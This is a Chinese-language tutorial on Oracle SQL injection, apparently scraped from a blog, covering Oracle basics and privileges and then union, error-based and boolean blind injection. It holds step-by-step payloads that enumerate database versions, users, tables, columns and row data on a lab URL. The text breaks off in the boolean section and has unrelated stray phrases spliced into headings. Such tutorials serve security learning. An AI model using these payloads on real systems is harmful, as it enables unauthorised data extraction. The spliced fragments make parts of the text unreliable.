OracleSQL注⼊的实例总结
⽬录
0x00 Oracle基础
易语言写入txt文件
Oracle 基本使⽤
什么是Oracle数据库?
Oracle数据库的特点
相⽐于其他数据库 Oracle的优缺点
登录Oracle数据库
Oracle数据库基本表管理语句
Oracle权限控制
Oracle权限概述
权限分类
系统权限(⽤户权限管理)
系统权限授权命令
实体权限(表权限管理)
引⼊知识
0x01 常见注⼊类型
union联合查询注⼊
Oracle union联合查询注⼊基本流程
error 注⼊
常⽤显错函数
其他常⽤显错函数
Oracle error 注⼊基本流程
bool盲注
bool盲注相关函数
Oracle bool盲注基本流程
time 盲注
time盲注相关函数
常⽤payload
带外注⼊
aspire vero
Oracle带外注⼊
带外注⼊相关函数
带外注⼊过程
常⽤payload
总结
0x00 Oracle基础
Oracle 基本使⽤
什么是Oracle数据库?
Oracle公司⽬前是世界上最⼤的软件提供商之⼀,与它并列的还有 Microsoft与 Adode。并且随着 Oracle的发展,它已经成为了企业办公平台的最⼤软件提供商之⼀。
Oracle数据库是 Oracle (中⽂名称叫甲⾻⽂) 公司的核⼼产品,Oracle数据库是—个适合于⼤中型企业的数据库管理系统。在所有的数据库管理系统中(⽐如:微软的SQL Server,IBM的DB2等), Oracle的主要⽤户涉及⾯⾮常⼴包括银⾏、电信、移动通信、航空、保险、⾦融、电⼦商务和跨国公司等。 Oracle产品是免费的,可以在 Oracle官⽅⽹站上下载安装包,另⼀⽅⾯ Oracle服务是收费的。
mysql语句转oracleOracle数据库的特点
完整的数据管理功能
数据的⼤量性
数据的保存持久性
数据库共享性
完备关系的产品
信息准则---关系型DBMS的所有信息都在逻辑上⽤⼀种⽅法,即表中的值显式地表⽰
保证访问的准则
视图更新准则---只要形成视图的表中的数据变化了,相应的视图中的数据同时变化
完整的数据管理功能
分布式处理功能
⼀个 ORACLE分布式数据库由 oraclerdbms、sq|Net、 SQL CONNECT和其他⾮ ORACLE的关系型产品构成
相⽐于其他数据库 Oracle的优缺点
优点
开放性:Oracle能在所有主流平台上运⾏(包括 windows)完全⽀持所有⼯业标准采⽤完全开放策略使客户选择适合解决⽅案对开发商全⼒⽀持并⾏性:Oracle并⾏服务器通过使组结点共享同簇⼯作来扩展windowNT能⼒提供⾼⽤性和髙伸缩性簇解决⽅案
plot函数绘制安全性:获得最⾼认证级别的ISO标准认证。
性能:Oracle性能⾼保持开放平台下TPC-D和TPC-C世界记录
使⽤风险:Oracle长时间开发经验完全向下兼容得⼴泛应⽤地风险低
缺点
对硬件的要求较⾼
价格⽐较昂贵
管理维护较⿇烦
操作较复杂,需要技术含量较⾼
Oracle 常⽤数据类型
登录Oracle数据库
Oracle数据库基本表管理语句
创建表
create table 表名(字段名称类型约束)
create table ichunqiu(name char(10) primary key,age int)
增加列
alter table 表名 add(字段名称, 数据类型)
alter table ichunqiu add(class_name varchar2(200))
删除表中⼀列
alter table 表名 set unused column 列名
alter table ichunqiu set unused column name
修改表字段
alter table 表名 modify(字段名称新的字段类型)
alter table ichunqiu modify(name varchar(200))
** Oracle数据库基本数据操作语句**
**查询**
select *|列名|表达式 from 表名 where 条件 order by 列名
select * from ichunqiu order by age desc  (降序)
select * from ichunqiu order by age asc  (升序)
select * from ichunqiu order by age      (默认就是升序)
**插⼊**
insert into 表名 values(所有字段对应值)
insert into 表名 (字段名1,字段名2,字段名3,...)values(字段对应值)
insert into ichunqiu(name,age) values('icq',18)
insert into ichunqiu values('icq',18,'web')
**更新**
update 表名 set 字段名称 = 值 where 更新条件
update ichunqiu set age=25 where name='icq'
**删除**
delete 表名 where 条件
delete ichunqiu where name='ii'
Truncate
语法:truncate table 表名
说明:将表中数据⼀次性删除
Truncate和 delete区别
1. truncate是DDL命令,删除数据不能恢复 ; delete是DML命令,删除数据可以通过数据库的⽇志⽂件进⾏恢复
2. 如果⼀个表中记录很多, truncate相对 delete速度快
Oracle权限控制
Oracle权限概述
权限允许⽤户访问属于其它⽤户的对象或执⾏程序,ORACLE系统提供三种权限: Object对象级、 System系统级、Role⾓⾊级。这些权限可以授予给⽤户、特殊⽤户 public或⾓⾊,如果授予⼀个权限给特殊⽤户"Public" (⽤户 public是 oracle预定义的,每个⽤户享有这个⽤户享有的权限)那么就意味作将该权限授予了该数据库的所有⽤户。
对管理权限⽽⾔,⾓⾊是⼀个⼯具,权限能够被授予给—个⾓⾊,⾓⾊也能被授予给另⼀个⾓⾊或⽤户。⽤户可以通过⾓⾊继承权限,除了管理权限外⾓⾊服务没有其它⽬的。权限可以被授予,也可以⽤同样的⽅式撤销
权限分类
Oracle数据库中权限分为两类
系统权限:系统规定⽤户使⽤数据库的权限。(系统权限是对⽤户⽽⾔)
实体权限:某种权限⽤户对其它⽤户的表或视图的存取权限。(是针对表或视图⽽⾔的)
系统权限(⽤户权限管理)
系统权限分类
DBA:拥有全部特权,是系统最⾼权限,只有DBA才可以创建数据库结构
RESOURCE:拥有 Resource权限的⽤户只可以创建实体,不可以创建数据库结构
CONNECT:拥有 Connect权限的⽤户只可以登录 Oracle,不可以创建实体,不可以创建数据库结构
对于普通⽤户:授予 connect, resource权限
对于DBA管理⽤户:授予 connect, resource,dba权限
系统权限授权命令
系统权限只能由DBA⽤户授出:sys, system(最开始只能是这两个⽤户)
SQL> grant connect,resource,dba to⽤户名1[,⽤户名2]...;
SQL> Create user user50 identified by user50;
SQL> grant connect,resource to user50;
注:普通⽤户通过授权可以具有与 system相同的⽤户权限,但不能达到与sys⽤户相同的权限, system⽤户的权限也可以被回收。
实体权限(表权限管理)
实体权限分类
select, update, insert, alter, index, delete,all //all括所有权限
execute //执⾏存储过程权限
举例:
grant select,insert, update on tablename to userA;            --赋权给⽤户: userA
grant select, insert, update on tablename to public:          --赋权给所有⽤户
grant select, update on product to userA with grant option;  --userA得到权限,并可以传递
revoke select insert, update on tablename from userA;        --收回给予的权限从⽤户
userA revoke select, insert, update on tablename from public; --收回给予的权限从所有⽤户
注意:如果取消某个⽤户的对象权限,那么对于这个⽤户使⽤ WITH GRANT OPTION授予权限的⽤户来说,同样还会取消这些⽤户的相同权限,也就是说取消授权时级联的。
0x01 常见注⼊类型
引⼊知识
Oracle中的 dual 表介绍
此表是 Oracle数据库中的⼀个⾃带表,它为了满⾜查询条件⽽产⽣
dual表的特点
1. dual是 oracle中的伪表(只有⼀⾏⼀列)
2. 每个⽤户都可以使⽤
3. 可能dual表被删掉,sys可以恢复
在 oracle中使⽤查询语句必须跟⼀个表名,如下:
Mysql:union select 1, 2, 3
clothes中文翻译Oracle:union select 1, 2, 3 from dual
Oracle的注释符介绍
单⾏注释符号是:--
多⾏注释符号是://**
Oracle的强匹配类型
在 Oracle进⾏类似UNION査询数据时候必须让对应位置上的数据类型和表中的列的数据类型是⼀致的,也可以使⽤null代替某些⽆法快速猜测出数据类型的位置举例:
mysql::union select 1, 2, 3
oracle:union select null, null, null from dual
union联合查询注⼊
Oracle union联合查询注⼊基本流程
**1.判断是否存在注⼊**
172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'
**2.判断字段数**
当前表有4个字段
id=1 order by 4--
**3.联合查询回显位**
Oracle 数据库查询需要 from dual (虚表/伪表) 专为查询语句设置的表
union select * from dual--
id=1 union select 1,2,3,4 from dual--
null代替所有类型
id=1 union select null,null,null,null from dual--
id=1 union select 1,'admin',3,4 from dual--
**4.查询数据库版本、数据库连接⽤户、当前实例名**
id=1 union select 1,(select banner from sys.v_$version where rownum=1),3,4 from dual--
id=1 union select 1,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),3,4 from dual-- #test
id=-1 union select 1,(select instance_name from v$instance),3,4 from dual--
**5.遍历数据库名**
id=-1 union select 1,(select owner from all_tables where rownum=1),3,4 from DUAL--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in ('SYS')),3,4 from DUAL--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in('SYS','OUTLN','SYSTEM')),3,4 from DUAL--
**6.遍历表名**
id=-1 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('ADMIN1','DEMO','FLAG','ICHUNQIU','STU')),3,4 from DUAL--
**7.遍历flag表字段名**
id=-1 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='FLAG' AND column_name not in ('id','name','pwd','flag')),3,4 from DUAL--
**8.查询表字段数据**
id=-1 union select 1,(select NAME||AGE FROM DEMO where rownum=1),3,4 from dual--
id=-1 union select 1,(select "name"||"age" FROM DEMO where rownum=1),3,4 from dual--
id=-1 union select 1,(select 'username:'||NAME||'age:'||AGE FROM DEMO where rownum=1),3,4 from dual--
error 注⼊
常⽤显错函数
dbms_xdb_version.checkin() 函数
属于 dbms_xdb_version下的 checkin功能。此功能检⼊签岀的VCR并返回新创建的版本的资源ID。
payload:
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
dbms_xdb_version.uncheckout() 函数
⽤法和checkin⼀致
payload:
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--
**_host_name() ** 函数
说明:这种⽅法在 Oracle 8g,9g,10g中不需要任何权限,但是在** Oracle 11g及以后的版本中** ,官⽅加强了访问控制权限,所以在11g以后要使⽤此⽅法进⾏报错注⼊,当前数据库⽤户必须有⽹络访问权限
报错⽅法:获取ip地址,其参数如果解析不了会报错,显⽰传递的参数。如果其参数是⼀个SQL语句,那么报错就会把结果给显⽰出来。
payload:
and _host_name((select user from dual))=1--
其他常⽤显错函数
函数名payload
dbms_xdb_version.makeversioned()and (select dbms_xdb_version.makeversioned ((select user from dual)) from dual) is not null--
dbms_utility.sqlid_to_sqlhash()and (select dbms_utility.sqlid_to_sqlhash ((select user from dual)) from dual) is not null--
ctxsys.drithsx.sn()and (select ctxsys.drithsx.sn ((select user from dual)) from dual) =1--
Oracle error 注⼊基本流程
**1.判断是否存在注⼊**
172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'
2.**查询数据库版本、数据库连接⽤户、当前实例名**
id=1 and dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)) is not null--
id=1 and dbms_xdb_version.checkin((select instance_name from v$instance)) is not null--html爱心代码怎么加名字
2.**遍历获取数据库名**
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1 and owner not in ('SYS'))) is not null--
3.**遍历获取表名**
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1 and table_name not in ('ADMIN1','DEMO'))) is not null--
**4.遍历获取字段名**
id=1 and dbms_xdb_version.checkin((select column_name from user_tab_columns where rownum=1 and table_name='FLAG' AND column_name not in ('id','name','pwd','flag'))) is not null--
5.**查询表字段数据**
id=1 and dbms_xdb_version.checkin((select NAME||AGE FROM DEMO where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select "name"||"age" FROM DEMO where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select 'username:'||NAME||'age:'||AGE FROM DEMO where rownum=1)) is not null--
bool盲注
bool盲注相关函数
decode() ** 函数**
⽤法:decode(条件,值1,翻译值1,值2,翻译值2… 值n, 翻译值n,缺省值)
含义:if(条件 == 值1) -> 返回翻译值1,否则返回默认值
举例:查询 Oracle版本,判断版本的字符串第⼀个字符是否是O
Payload :
and1=(select decode(substr((select banner from sys.v_$Version where rownum=1),1,1), 'O', 1, 0) from dual--
说明:其中 select语句可以替换,如:
获取当前⽤户: selectuser from dual;
获取字符长度: select length(user) from dual;
instr() ** 函数**
⽤法:instr( string1, string2 ) / instr(源字符串,⽬标字符)
含义:搜索指定的字符返回发现指定的字符的位置, string1是被搜索的字符串, string2是希望搜索的字符串
注⼊思路 : instr会返回'SQL'位置数据在査询结果中的位置,未到便返回0,可通过对‘SQL′位置进⾏遍历和迭代,获取到数据
举例:查询当前的⽤户,判断⽤户名第⼀个字符是否是T
Payload :
and1=(instr((select user from dual),'T'))--
Oracle bool盲注基本流程
**1.判断注⼊**
172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'
2.**查询数据库版本/⽤户**

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。